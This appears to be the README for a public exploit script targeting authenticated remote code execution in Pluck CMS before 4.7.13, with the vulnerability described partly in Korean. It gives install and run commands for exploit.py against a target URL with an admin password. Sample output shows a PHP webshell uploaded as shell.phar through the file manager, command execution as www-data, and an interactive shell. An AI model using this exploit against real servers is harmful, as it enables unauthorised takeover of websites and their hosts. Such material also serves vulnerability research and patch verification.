
Authenticated remote code execution in Pluck CMS before 4.7.13.
Pluck CMS 4.7.13 이전 버전에서 인증된 원격 코드 실행 취약점입니다. 관리자 파일 관리자(
admin.php?action=files)는 파일 확장자를 검증하지 않아.phar파일 업로드를 허용하며, Apache는 이를 PHP로 실행합니다. 이 엔드포인트를 통해 웹쉘을 업로드하면 웹 서버 사용자 권한으로 RCE가 발생합니다.
shell.phar로 PHP 웹쉘을 업로드합니다.id를 실행하여 실행을 확인합니다.python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests prompt_toolkit
# Pluck at root
python3 exploit.py -u http://TARGET -p ADMIN_PASSWORD
# Pluck in a subdirectory
python3 exploit.py -u http://TARGET -p ADMIN_PASSWORD --path /pluck
예시:
$ python3 exploit.py -u http://10.10.10.10 -p admin123
[*] Logging in...
[+] Logged in
[*] Uploading webshell...
[+] Webshell uploaded
[*] Shell URL: http://10.10.10.10/files/shell.phar
[+] Target is vulnerable! Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] Shell opened. Type 'exit' or Ctrl+C to quit.
Shell> whoami
www-data